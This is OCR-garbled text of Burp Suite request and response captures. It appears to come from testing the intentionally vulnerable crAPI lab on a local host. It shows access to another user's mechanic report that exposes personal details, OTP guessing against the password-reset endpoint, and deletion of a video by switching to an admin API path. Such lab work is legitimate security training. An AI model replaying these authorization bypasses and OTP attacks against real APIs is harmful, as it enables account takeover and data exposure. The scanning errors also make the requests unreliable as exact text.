2 Server: openresty/l.25.3.1
3 Date: Tue, 12 Aug 2025 15:46:03 GMT
4 Content-Type: application/json
5 Comnection: keep-alive
6 Allow: GET, HEAD, OPTIONS
7 Vary: origin, Cookie
§ access-control-allow-origin: *
9 X-Frame-Options: DENY
10 X-Content-Type-Options: nosniff
11 Referrer-Policy: same-origin
12 Cross-Origin-Opener-Policy: same-origin
13 Content-Length: 303
14
15 {
“id":13
“mechanic”: {
"id":2,
“mechanic_code”: " TRAC_JME”.
“user”: {
“email”:” james@example. con”
“rumber”:””
}
I8
“vehicle”:
"id":52,
“vin":"6JDYB4TAZ00659262"
"owner”: {
“email”:"securityl01@qq. con”
“mumber”:”19111111111"

)
)i

roblem_details”:"car error”,
“status”: "pending”,
“created_on”:"12 August, 2025, 15:30:50"
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Request

Pretty  Raw  Hex

W

1o G

© o -

10
11
12

GET /workshop/api/mechanic/mechanic_report?report_id=3] HITP/1. 1

Host: 192.168. 0. 102:8888

Authorization: Bearer

eyJhbGei0iJSUZIINI J9. eyJzdW110iJzZWN1cml0eTERMUBxCSS5 16201 LCJpYXQ10 JESNTURMIE N j¥S TmVACCI6MTC INTYXNT
K2Niwicm9sZSI6InVzZXIifQ. of~TIMB600ySt t tumzr vYDt8bNTx4onFrFDSVEIKRPqX j2akCcWs8H4SGaqmtPOYh 8avDBBeL
UOu0_ENS0AV11-1M]1LEYOMn_fokvKT110UGOTXBY CGGYF4HEG1z-UTvDtH] 3z 1x8HCrxyD4rLAvWSEOUut 5rKs424Uq Y vakMIr
26C_aDW8I_vHIUUv_pSTzeDoAMGBLTSFOR-gxXqet 7drVAe59wdf yYiVVZI60H6SFMN1 7sLapr v1FwspKOYZXPwz7T OLOC4AX VU
COnzWRn7LNFmcPco jn_v6H0_JPCTAVPSoxwV_P22kS492SFbfKKBSC2YZHoSFDVTASZEA

Accept-Language: zh-CN, zh;q=0.9

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko.
Chrome/138. 0. 0.0 Safari/537. 36

Accept: */*

Origin: http://192. 168. 0. 102:8888

Referer: http://192. 168. 0. 102:8888/contact-mechanic?VIN=6JDYB4TAZQ0659262

Accept-Encoding: gzip, deflate, br

¢ o Liy

Response

Pretty

S Date:

4 Content-Type:

Raw  Hex  Render
Lue, 12 AU ZUZD 10741100 Gnl
application/ json

5 Comnection: keep-alive

6 Allow: GET, HEAD, OPTIONS

7 Vary: origin, Cookie

8 access—control-allow-origin: *

9 X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin
Content-Length: 445

10
11
12
13
14
15

{

"id":3,
“mechanic”: {
"id":2,
“mechanic_code”: " TRAC_JME”.
“user”: {
“email”:” james@example. con”
“rumber”:””
}
I8
“vehicle”:
7id":4,
“vin”:”81GEF39BZUJ 159285
"owner”: {
“email”:”test@example. com”
“rumber” : " 9876540001"

}
I8
“problen_details”:
"My car MG Motor - Hector Plus is having issues.\nCan you give me a ca
01, \nOr send me an email at test@example.com\nThanks, \nTest. \n".
“status”:"finished”
“created_on”:"12 August, 2025, 04:23:32"
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Login
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Forgot Password

© il Veriication (2) Reset Password
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Success

OTP has been sent to your registered emailid
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Forgot Password

() Email Verification ——————————————— (@) Reset Password
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From no-reply@example.com
Subject crAPI OTP
To security101@qq.com

HTML  Plaintext  Source

Hi,Your one time generated otp is: 2001
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Request Response
Pretty  Raw  Hex = | Pretty Raw Hex Render

L POST /identity/api/auth/forget-password HITP/1. 1 1 HTTP/1.1 200
> Host: 192, 168.0. 102:8888 2 Server: openresty/l.25.3.1
3 Content-Length: 32 3 Date: Tue, 12 Aug 2025 16:07:50 GMT
4 Accept-Language: zh-CN, zh;q=0.9 4 Content-Type: application/json
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 5 Comnection: keep-alive
Chrome/138. 0. 0.0 Safari/537. 36 6 Vary: Origin
5 Content-Type: application/json 7 Vary: Access-Control-Request-Method
T Accept: #/x 8 Vary: Access-Control-Request-Headers
3 Origin: http://192. 168. 0. 102:8888 9 Access-Control-Allow-Origin: *
) Referer: http://192.168. 0. 102:8888/forgot-password 10 X-Content-Type-Options: nosniff
) Accept-Encoding: gzip, deflate, br 11 X-XSS-Protection: 0
1 1 : 12 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
2 13 Pragma: no-cache
5 ( 14 Expires: 0
"email”:"pogba006@example. con” 15 Strict-Transport-Security: max-age=31536000 ; includeSubDomains
) 16 X-Frame-Options: DENY
17 Content-Length: 79
18
19 {

"message”:"0TP Sent on the provided email, pogba008@example. com”,
“status”:200
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Request
Pretty  Raw  Hex

O L 0

=

POST /identity/api/auth/v3/check-otp HITP/1.1

Host: 192.168. 0. 102:8888
Content-Length: 68

Accept-Language:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,

Chrome/138. 0. 0. 0

zh~CN, zh;q=0. 9

safari/537. 36

Content~-Type: application/json

Accept: */*

Origin: http://192. 168. 0. 102:8888

Referer: http://192. 168. 0. 102:8888/forgot-password

Accept-Bncoding:
1 k

gzip, deflate,

"email”:"pogbal06@example. com”,

“otp”:"11117,

“password”:

" Aa@123459"

br

like Gecko)

Response

Pretty Raw  Hex  Render

HITP/1.1 500

Server: openresty/l.25.3.1

Date: Tue, 12 Aug 2025 16:07:25 GMT

Content-Type: application/json

Comnection: keep-alive

Vary: Origin

Access—Control-Request-Method
Access—Control-Request-Headers

9 Access-Control-allow-Origin: *

10 X-Content-Type-Options: nosniff

11 X-XSS-Protection: 0

12 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
13 Pragma: no-cache

14 Expires: 0

15 Strict-Transport-Security: max-age=31536000 ; includeSubDomains
16 X-Frame-Options: DENY

17 Content-Length: 58

1o O W

19 {
“message”:”Invalid OTP! Please try again..”.
“status”:500
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equest

Pretty  Raw  Hex
POST /identity/api/auth/v3/check-otp HITP/1.1

' Host: 192.168. 0. 102:8888

' Content-Length: 68

' Accept-Language: zh-CN, zh;q=0.9

| User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
Chrome/138. 0. 0.0 Safari/537. 36

' Content-Type: application/json

| Accept: ®/*

' Origin: http://192. 168. 0. 102:8888

| Referer: http://192. 168. 0. 102:8888/forgot-password

| Accept-Encoding: gzip, deflate, br

“email”:"pogha006@example. con”,
“otp”: 11117,
“password”: "Aa@123459"

like Gecko)

Target: h

Response

1o O W

© o

10
11
12
13
14
15
16

18
19

Pretty Raw  Hex  Render

HITP/1.1 500

Server: openresty/l.25.3.1

Date: Tue, 12 Aug 2025 16:14:29 GMT

Content-Type: application/json

Comnection: keep-alive

Vary: Origin

Vary: Access-Control-Request-Method

Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

X-Content~Type-Options: nosniff

X-XSS-Protection: 0

Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache

Expires: 0

Strict-Transport-Security: max-age=31536000 ; includeSubDomains
X-Frame-Options: DENY

Content-Length: 34

{

"message”: "ERROR. . "
“status”:500
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Request
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POST /identity/api/auth/v2)check-otp HITP/1. 1
Host: 192.168. 0. 102:8888
Content-Length: 68

Accept-Language: zh-CN, zh;

User-agent: Nozilla/5.0 (Findows NT 10.0; Win64; x64) AppleWebKit/537. 36 (KHTML,

Chrome/138. 0. 0.0 Safari/537. 36

Content~-Type: application/json

Accept: */*

Origin: http://192. 168. 0. 102:8888

Referer: http://192. 168. 0. 102:8888/forgot-password
Accept-Encoding: gzip, deflate, br

“email”:"pogha006@example. con”,
“otp”: 11117,
“password”: "2a@123459"

like Gecko)

Response

Pretty Raw  Hex  Render

HITP/1.1 500

Server: openresty/l.25.3.1

Date: Tue, 12 Aug 2025 16:15:46 GMT

Content-Type: application/json

Comnection: keep-alive

Vary: Origin

Access—Control-Request-Method

Vary: Access-Control-Request-Headers

9 Access-Control-allow-Origin: *

10 X-Content-Type-Options: nosniff

11 X-XSS-Protection: 0

12 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
13 Pragma: no-cache

14 Expires: 0

15 Strict-Transport-Security: max-age=31536000 ; includeSubDomains
16 X-Frame-Options: DENY

17 Content-Length: 58

1o O W

19 {
“message”:”Invalid OTP! Please try again..”.
“status”:500
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FET /community/api/v2/community/posts/recent?limit=30koffset=0 HITP/1. 1

Host: 192.168. 0. 102:8888

Authorization: Bearer

eyJhbGei0iJSUZIINI J9. eyJzdWI10iJzZWN1cml0e TERMUBxCSS5 16201 LCTpYXQ10 JESNTURMTY00DUS ImVACCI6MTC INTY yMT
T4NSwicm9sZSI6INVZZXT1£Q. 0AQMYceh0cTE 229y The5A0CAG1 38sF 31 fwl-etz_UK5gUjfsnKla3f JwvVZ0iRGp3GUNDES2
1h3iDg1Zgn_n70Vb55FULRANLAZNLSX 9Kn4pz0 IMREW2nT 4AdF wOsbT591cQo] InY JS3pwEK54f oPwkSmwhpSNLviXtvA_NuZr
SVMFRT4WxneSmSETnPqnSFe-¥MjE-ELOPG texVYkfUTL5CHT QainQ3hBAUNN ZqnOdMe jzbcaggTrkk0_ew3sDeaPBGS5CF61sD
uiBeSo_fUlUI1aMDAux_R1XIqNzxcaxyxsINLekZbfk-93uliwe1DazVKL2Tr ibcmaomAvQ

Accept-Language: zh-CN, zh;q=0.9

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/138. 0. 0.0 Safari/537. 36

Content~-Type: application/json

Accept: */*

Referer: http://192. 168. 0. 102:8888/forun

Accept-Encoding: gzip, deflate, br

¢ ~aliv

Response

Pretty

Raw

Hex Render
marl : rovolUvleexsmpLe. com
“vehicleid”: " 4bae9968-ecTf-4de3-a3a0-balb2ab5e5e5”
“profile_pic_url”:""
“created_at”:"2025-08-12104: 23: 08. 5362

]

comments”: [

authorid”:3,
“CreatedAt”: "2025-08-12104: 23: 08. 5362"

“1d”: " TWq jwxnLizU¥Nju jbBSKxZ”,
“title”:"Title 2"
“content”: "Hello world 2"
“author”: {
“nickname”:"Pogba”
“email”:“pogba006@example. con”,

“vehicleid”:"cd515c12-0fc1-48ae-8b61-9230b70a845b",
"profile_pic_url”:"",
“created_at”:"2025-08-12T04:23: 08. 5352

" comments”: [

1,

“authorid”:2,
“CreatedAt”:"2025-08-12104:23: 08. 5352"

”id": " 5zH3bUtGT ehopebegDfhvk .
i1 " Title 17
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GET /community/api/v2/community/posts/recent| HITP/1. 1

Host: 192.168. 0. 102:8888

Authorization: Bearer

eyJhbGei0iJSUZIINI J9. eyJzdWI10iJzZWN1cml0e TERMUBxCSS5 16201 LCTpYXQ10 JESNTURMTY00DUS ImVACCI6MTC INTY yMT
T4NSwicm9sZSI6INVZZXT1£Q. 0AQMYceh0cTE 229y The5A0CAG1 38sF 31 fwl-etz_UK5gUjfsnKla3f JwvVZ0iRGp3GUNDES2
1h3iDg1Zgn_n70Vb55FULRANLAZNLSX 9Kn4pz0 IMREW2nT 4AdF wOsbT591cQo] InY JS3pwEK54f oPwkSmwhpSNLviXtvA_NuZr
SVMFRT4WxneSmSETnPqnSFe-¥MjE-ELOPG texVYkfUTL5CHT QainQ3hBAUNN ZqnOdMe jzbcaggTrkk0_ew3sDeaPBGS5CF61sD
uiBeSo_fUlUI1aMDAux_R1XIqNzxcaxyxsINLekZbfk-93uliwe1DazVKL2Tr ibcmaomAvQ
Accept-Language: zh-CN, zh;q=0.9

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
Chrome/138. 0. 0.0 Safari/537. 36

Content~-Type: application/json

Accept: */*

Referer: http://192. 168. 0. 102:8888/forun

Accept-Encoding: gzip, deflate, br

~alive

like Gecko)

Hex  Render

1
“authorid”:8,
“CreatedAt”:"2025-08-12104:34:33. 7682"

”1d":"bGqqQzENSYGNF iGSDNug4a”.
“title”:

“Title 3"

“nickname”:"Robot”

“email”:"robot001@example. con’”

“vehicleid”: " 4bae9968-ecTf-4de3-a3a0-balb2ab5e5e5”
“profile_pic_url”:""
“created_at”:"2025-08-12104: 23: 08. 5362

" comments”: [

1,

"authorid”:3,
“CreatedAt”:"2025-08-12104:23: 08. 5362"

“1d”: " TWq jwxnLizU¥Nju jbBSKxZ”,
“title”:"Title 2"

“nickname”: "Pogba”,
"email”:"pogbal06@example. com”,
“vehicleid”:"cd515c12-0fc1-48ae-8b61-9230b70a845b",

"profile_pic_url”:"",
“created_at”:"2025-08-12T04:23: 08. 5352

"comments”: [
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Request Response
= | Pretty Raw Hex Render

Pretty  Raw  Hex

1 POST /identity/api/v2/user/videos HITP/1.1 1 HTTP/1.1 200

> Host: 192, 168.0. 102:8888 2 Server: openresty/l.25.3.1

3 Content-Length: 180 3 Date: Tue, 12 Aug 2025 16:40:01 GMT

4 Authorization: Bearer 4 Content-Type: application/json
eyJhbGei0iJSUZIIN J9. eyJzdWI10iJzZWN1cml0e TERMUBxCSS jb201LCTpYXQ10 JESNTURMTY00DUS InVAcCIBUTCINTYYMT | 5 Connection: keep-alive
T4NSwicn9sZSI6InNVZZXTi Q. 0AQMYceh0cTE J229Ty The5A0CAG1 38sF 31 fwl-etz_UKSgUjfsnk1a3f JwvVZ0iRGp3GUNDES2 | 6 Vary: Origin
1h3iDglZgn_n70Vb55FULRANLAZNbSX9Kn4pz0 IMR8W2mJ4AdF jwIsbT591c0o0] InY JS3pwEK54f oPwkSmwhpBNLviXtvA_NuZr | 7 Vary: Access—Control-Request-Method
SVMFRT4WxneSnSETnPqnSFe-¥MjE-ELOPG texVYkfUTL5cHT QainQ3hBAUNN jZanOdie jzbcaggTrkk0_ew3sDeaPBGSSCF6IsD | 8 Vary: Access-Control-Request-Headers
uiBeSo_fUlUI1aMDAux_R1XIqNzxcaxyxsINLekZbfk-93uliwe1DazVKL2Tr ibcmaomAvQ 9 Access-Control-allow-Origin: *

5 Accept-Language: zh-CN, zh;q=0. 9 10 X-Content-Type-Options: nosniff

5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 11 X-Xss-Protection: 0
Chrome/138. 0. 0.0 Safari/537. 36 12 Cache-Control: no-cache, no-store, max-age=0, must-revalidate

" Content-Type: multipart/form-data; boundary=----WebKitFornBoundaryhlBtBSqL2wT6reEy 13 Pragma: no-cache

3 Accept: #/% 14 Expires: 0

0 Origin: http://192. 168. 0. 102:8888 15 Strict-Transport-Security: max-age=31536000 ; includeSubDomains

) Referer: http://192. 168. 0. 102:8888/my-profile 16 X-Frame-Options: DENY

| Accept-Encoding: gzip, deflate, br 17 Content-Length: 109

2 1 18

3 19 {

4 - WebK1itFormBoundaryhlBtBSqL2wT breBy "1d":52,

5 Content-Disposition: form-data; name="file” “video_name”:"101. mp4”,

5 Content-Type: video/mp4 “conversion params”:"-v codec h264”,

7 “profileVideo”:"data: image/jpeg;baseds, "

8 }

9 —----— WebKi tFormBoundaryh1BtBSqL2wWT 6reEv—
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Request Response
Pretty  Raw  Hex = | Pretty Raw Hex Render

1 PUT /identity/api/v2/user/videosf52 |HTTP/1. 1 1 HTTP/1.1 200
2 Host: 192.168.0.102:8888 2 Server: openresty/l.25.3.1
3 Content-Length: 23 3 Date: Tue, 12 Aug 2025 16:43:20 GMT
4 Authorization: Bearer 4 Content-Type: application/json
eyJhbGei0iJSUZIIN J9. eyJzdWI10iJzZWN1cml0e TERMUBxCSS jb201LCTpYXQ10 JESNTURMTY00DUS InVAcCIBUTCINTYYMT | 5 Connection: keep-alive
T4NSwicn9sZSI6InNVZZXTi Q. 0AQMYceh0cTE J229Ty The5A0CAG1 38sF 31 fwl-etz_UKSgUjfsnk1a3f JwvVZ0iRGp3GUNDES2 | 6 Vary: Origin
1h3iDglZgn_n70Vb55FULRANLAZNbSX9Kn4pz0 IMR8W2mJ4AdF jwIsbT591c0o0] InY JS3pwEK54f oPwkSmwhpBNLviXtvA_NuZr | 7 Vary: Access—Control-Request-Method
SVMFRT4WxneSnSETnPqnSFe-¥MjE-ELOPG texVYkfUTL5cHT QainQ3hBAUNN jZanOdie jzbcaggTrkk0_ew3sDeaPBGSSCF6IsD | 8 Vary: Access-Control-Request-Headers
uiBeSo_fUlUI1aMDAux_R1XIqNzxcaxyxsINLekZbfk-93uliwe1DazVKL2Tr ibcmaomAvQ 9 Access-Control-allow-Origin: *
5 Accept-Language: zh-CN, zh;q=0.9 10 X-Content-Type-Options: nosniff
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 11 X-Xss-Protection: 0
Chrome/138. 0. 0.0 Safari/537. 36 12 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
7 Content-Type: application/json 13 Pragma: no-cache
§ Accept: */* 14 Expires: 0
9 Origin: http://192. 168. 0. 102:8888 15 Strict-Transport-Security: max-age=31536000 ; includeSubDomains
10 Referer: http://192. 168. 0. 102:8888/my-profile 16 X-Frame-Options: DENY
|1 Accept-Encoding: gzip, deflate, br 17 Content-Length: 109
2 Comnection:. keepalive 18
13 19 {
14 { "id":52,
“videoName”: "666. mp4” VTdeo_mame :"666. mpd”,
) conversion_params”:”~v codec h264”,

“profileVideo”: data: image/ jpeg;base64, "
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Request Response
Prety  Raw  Hex = | Pretty Raw Hex Render

1 GET /ldentlty/apl/V2/user/v1deos/50| HITP/1.1 1 HTTP/1.1 404
2 Host: 192.168.0.102:8888 2 Server: openresty/l.25.3.1
3 Authorization: Bearer 3 Date: Tue, 12 Aug 2025 16:45:27 GMT
eyJhbGei0iJSUZIINi J9. eyJzdWI10i JzZWN1cml0e TEWMUBxCSS5 jb201LCTpYXQ10 JESNTURMTY00DUS InV4cCIBMTCINTYYMT | 4 Content-Type: application/json
T4NSwi cm9sZSI6InVZZXT1£Q. 0AQMYcehOcTE J229Ty The5A0CAG1 38sF31 fwl-etz_UK5gUjfsnk1a3f JwvVZ0iRGp3GUSD5S2 | 5 Comnection: keep-alive
1h3iDglZgn_n70Vb55FULRANLAZNbSX OKn4pz0 IMREW2nT 4AdF jwOsbT591cQo] InY JS3pwEK54f oPwkSmwhpSNLviXtvA NuZr | 6 Vary: Origin
SVMFRT4WxneSnSETnPquSF e~ YME-ELOPG texVYkfUTL5CHT QainQ3hBAURNj ZanOde jzbcagg Trkk0_ew3sDeaPBGS5CF6ISD | 7 Vary: Access-Control-Request-Method
uiBeSo_fUlUI1aMDAux_R1XIqNzxcaxyxsINLekZbfk-93uliwe1DazVKL2Tr ibcmaomAvQ 8 Vary: Access-Control-Request-Headers
4 Accept-Language: zh—CN, zh;q=0. 9 9 Access-Control-Allow-Origin: *
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 10 X-Content-Type-Options: nosniff
Chrome/138. 0. 0.0 Safari/537. 36 11 X-XSS-Protection: 0
6 Accept: */* 12 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
7 Origin: http://192.168. 0. 102:8888 13 Pragma: no-cache
§ Referer: http://192. 168. 0. 102:8888/my-profile 14 Expires: 0
9 Accept-Encoding: gzip, deflate, br 15 Strict-Transport-Security: max-age=31536000 ; includeSubDomains
1 k 16 X-Frame-Options: DENY
17 Content-Length: 43
18
19 {

"message”:"Video not found.”,
“status”:404
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Request Response
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= | Pretty Raw Hex Render

1 POST /workshop/api/merchant/contact_mechanic HITP/1.1 1 HITP/1.1 200 OK
> Host: 192.168. 0. 102:8888 2 Server: openresty/l.25.3.1
3 Content-Length: 213 3 Date: Tue, 12 Aug 2025 16:48:41 GMT
4 Authorization: Bearer 4 Content-Type: application/json
eyJhbGei0iJSUZIIN J9. eyJzdWI10iJzZWN1cml0e TERMUBxCSS jb201LCTpYXQ10 JESNTURMTY00DUS InVAcCIBUTCINTYYMT | 5 Connection: keep-alive
T4NSwicn9sZSI6InVzZXT1£Q. 0AQMYcehOcTX J229Ty The540CG1 38sF 31 £wl-etz_UK5gU jfsnK1a3f JwvVZ0iRGp3GURD5S2 | 6 Allow: POST, OPTIONS
1h3iDglZgn_n70Vb55FULRANLAZbEX9Kn4pz0 IMREW2MJ4AdF jwIsbT591c0o] InY JS3pwEK54f oPwkSmwhpSNLviXtvA_NuZr | 7 Vary: origin, Cookie
SVMFRT4WxneSmSETnPqnSFe-¥MjE-ELOPG texVYkfUTL5CHT QainQ3hBAUNN ZqnOdMe jzbcaggTrkk0_ew3sDeaPBGSSCF6IsD | § access—control-allow-origin: *
uiBeSo_fUlUI1aMDAux_R1XIqNzxcaxyxsINLekZbfk-93uliwe1DazVKL2Tr ibcmaomAvQ 9 X-Frame-Options: DENY
5 Accept-Language: zh-CN, zh;q=0.9 10 X-Content-Type-Options: nosniff
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 11 Referrer-Policy: same-origin
Chrome/138. 0.0. 0 Safari/537. 36 12 Cross-Origin-Opener-Policy: same-origin
T Content-Type: application/json 13 Content-Length: 158
5 Accept: #/* 14
9 Origin: http://192.168. 0. 102:8888 15 (
0 Referer: http://192.168. 0. 102:8888/contact -mechanic?VIN=6]DYB4TAZQ0659262 “response_from_mechanic_api”: {
1 Accept-Encoding: ezip, deflate, br "id":15,
2 1 1 “sent”:true,
3 “report_link”:
4 { “http://192. 168. 0. 102:8888/workshop/api/mechanic/mechanic_report?report_id=15"
“mechanic_code”:"TRAC_JME”, I8
“problem_details”:"101", “status”:200
“vin”: 51DYB4'AZQ0559252 )

8888 /workshop/api/mechanic/receive_report”,
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PUT /identity/api/v2/user/videos/52 HITP/1.1

Host: 192.168. 0. 102:8888

Content-Length: 23

Authorization: Bearer

eyJhbGei0iJSUZIINI J9. eyJzdWI10iJzZWN1cml0e TERMUBxCSS5 16201 LCTpYXQ10 JESNTURMTY00DUS ImVACCI6MTC INTY yMT
T4NSwicm9sZSI6INVZZXT1£Q. 0AQMYceh0cTE 229y The5A0CAG1 38sF 31 fwl-etz_UK5gUjfsnKla3f JwvVZ0iRGp3GUNDES2
1h3iDg1Zgn_n70Vb55FULRANLAZNLSX 9Kn4pz0 IMREW2nT 4AdF wOsbT591cQo] InY JS3pwEK54f oPwkSmwhpSNLviXtvA_NuZr
SVMFRT4WxneSmSETnPqnSFe-¥MjE-ELOPG texVYkfUTL5CHT QainQ3hBAUNN ZqnOdMe jzbcaggTrkk0_ew3sDeaPBGS5CF61sD
uiBeSo_fUlUI1aMDAux_R1XIqNzxcaxyxsINLekZbfk-93uliwe1DazVKL2Tr ibcmaomAvQ

Accept-Language: zh-CN, zh;q=0.9

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko.
Chrome/138. 0. 0.0 Safari/537. 36

" Content-Type: application/json

Accept: */*

Origin: http://192. 168. 0. 102:8888

Referer: http://192.168. 0. 102:8888/my-profile
Accept-Encoding: gzip, deflate, br

“videoName”:"777. mpd”




image47.png
Request Response
Pretty Hex = | Pretty Raw  Hex  Render

OPTIONS /identity/api/v2/user/videos/52 HTTP/1. 1 HITP/1.1 200

Host: 192.168. 0. 102:8888 Server: openresty/l.25.3.1
Content-Length: 23 Date: Tue, 12 Aug 2025 16:54:04 GMT
Authorization: Bearer Content-Length: 0
eyJhbGei0iJSUZIINI J9. eyJzdWI10iJzZWN1cml0e TERMUBxCSS5 16201 LCTpYXQ10 JESNTURMTY00DUS ImVACCI6MTC INTY yMT Comnection: keep-alive
T4NSwicm9sZSI6INVZZXT1£Q. 0AQMYceh0cTE 229y The5A0CAG1 38sF 31 fwl-etz_UK5gUjfsnKla3f JwvVZ0iRGp3GUNDES2 Vary: Origin
1h3iDg1Zgn_n70Vb55FULRANLAZNLSX 9Kn4pz0 IMREW2nT 4AdF wOsbT591cQo] InY JS3pwEK54f oPwkSmwhpSNLviXtvA_NuZr Vary: Access-Control-Request-Method
SVMFRT4WxneSmSETnPqnSFe-¥MjE-ELOPG texVYkfUTL5CHT QainQ3hBAUNN ZqnOdMe jzbcaggTrkk0_ew3sDeaPBGS5CF61sD
uiBeSo_fUlUI1aMDAux_R1XIqNzxcaxyxsINLekZbfk-93uliwe1DazVKL2Tr ibcmaomAvQ

10 G W

) Accept-Language: zh-CN, zh;q=0.9
) User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 11 X-Content-Type-Options: nosniff
Chrome/138. 0. 0.0 Safari/537. 36 12 X-XSS-Protection: 0
" Content-Type: application/json 13 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
S A */% 14 Pragma: no-cache
) http://192. 168. 0. 102: 8888 15 Expires: 0
) Referer: http://192. 168. 0. 102:8888/my-profile 16 Strict-Transport-Security: max-age=31536000 ; includeSubDomains
| Accept-Encoding: gzip, deflate, br 17 X-Frame-Options: DENY
] 18
] 19
A
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Request Response
Pretty  Raw  Hex = | Pretty Raw Hex Render

| DELETE /identity/api/v2/user/videos/52 HITP/1.1 HITP/1.1 404

> Host: 192, 168.0. 102:8888 Server: openresty/l.25.3.1

3 Content-Length: 23 Date: Tue, 12 Aug 2025 16:55:36 GMT

4 Authorization: Bearer Content-Type: application/json
eyJhbGei0iJSUZIINI J9. eyJzdWI10iJzZWN1cml0e TERMUBxCSS5 16201 LCTpYXQ10 JESNTURMTY00DUS ImVACCI6MTC INTY yMT Comnection: keep-alive
T4NSwicm9sZSI6INVZZXT1£Q. 0AQMYceh0cTE 229y The5A0CAG1 38sF 31 fwl-etz_UK5gUjfsnKla3f JwvVZ0iRGp3GUNDES2 Vary: Origin
1h3iDg1Zgn_n70Vb55FULRANLAZNLSX 9Kn4pz0 IMREW2nT 4AdF wOsbT591cQo] InY JS3pwEK54f oPwkSmwhpSNLviXtvA_NuZr Access—Control-Request-Method

1o W

SVMFRT4WxneSnSETnPqnSFe-¥MjE-ELOPG texVYkfUTL5cHT QainQ3hBAUNN jZanOdie jzbcaggTrkk0_ew3sDeaPBGSSCF6IsD | 8 Vary: Access-Control-Request-Headers
uiBeSo_fUlUI1aMDAux_R1XIqNzxcaxyxsINLekZbfk-93uliwe1DazVKL2Tr ibcmaomAvQ 9 Access-Control-allow-Origin: *
5 Accept-Language: zh-CN, zh;q=0. 9 10 X-Content-Type-Options: nosniff
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 11 X-Xss-Protection: 0
Chrome/138. 0. 0.0 Safari/537. 36 12 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
" Content-Type: application/json 13 Pragma: no-cache
3 Accept: #/% 14 Expires: 0
0 Origin: http://192. 168. 0. 102:8888 15 Strict-Transport-Security: max-age=31536000 ; includeSubDomains
) Referer: http://192. 168. 0. 102:8888/my-profile 16 X-Frame-Options: DENY
 Accept-Encoding: gzip. deflate, br 17 Content-Length: 81
2 k 18
3 19 {
4 { “message”:"This is an admin function. Try to access the admin API”,
“videoName”:"777. mp4” “status”:403
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equest
Pretty  Raw  Hex
DELETE /identity/api/v2/admin)/videos/52 HITP/1.1
' Host: 192.168. 0. 102:8888
Content-Length: 23
Authorization: Bearer
eyJhbGei0iJSUZIINI J9. eyJzdWI10iJzZWN1cml0e TERMUBxCSS5 16201 LCJpYXQ10 JESNTURMTY00DUS ImVACCI6MTC INTY yMT
T4NSwicm9sZSI6INVZZXT1£Q. 0AQMYceh0cTE 229y The5A0CAG1 38sF 31 fwl-etz_UK5gUjfsnKla3f JwvVZ0iRGp3GUNDES2
1h3iDg1Zgn_n70Vb55FULRANLAZNLSX 9Kn4pz0 IMREW2nT 4AdF wOsbT591cQo] InY JS3pwEK54f oPwkSmwhpSNLviXtvA_NuZr
SVMFRT4WxneSmSETnPqnSFe-¥MjE-ELOPG texVYkfUTL5CHT QainQ3hBAUNN ZqnOdMe jzbcaggTrkk0_ew3sDeaPBGS5CF61sD
uiBeSo_fUlUI1aMDAux_R1XIqNzxcaxyxsINLekZbfk-93uliwe1DazVKL2Tr ibcmaomAvQ
Accept-Language: zh-CN, zh;q=0.9
| User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/138. 0. 0.0 Safari/537. 36
'~ Content-Type: application/json
' Accept: ®/*
' Origin: http://192. 168. 0. 102:8888
) ://192. 168. 0. 102:8888/my-profile
Accept-Encoding: gzip, deflate, br

]
3

Response
Pretty Raw  Hex  Render

HITP/1.1 200

Server: openresty/l.25.3.1

Date: Tue, 12 Aug 2025 16:58:15 GMT

Content-Type: application/json

Comnection: keep-alive

Vary: Origin

Vary: Access-Control-Request-Method

Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

10 X-Content-Type-Options: nosniff

11 X-XSS-Protection: 0

12 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
13 Pragma: no-cache

14 Expires: 0

15 Strict-Transport-Security: max-age=31536000 ; includeSubDomains
16 X-Frame-Options: DENY

17 Content-Length: 59

1o O W

© o

19 {
“message”:"User video deleted successfully.”,

“status”:200
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Request Response
Pretty Raw  Hex

DELETE /identity/api/v2/admin/videos/51 HITP/1.1
Host: 192.168. 0. 102:8888

Content-Length: 23

Authorization: Bearer

eyJhbGei0iJSUZIINI J9. eyJzdWI10iJzZWN1cml0e TERMUBxCSS5 16201 LCTpYXQ10 JESNTURMTY00DUS ImVACCI6MTC INTY yMT
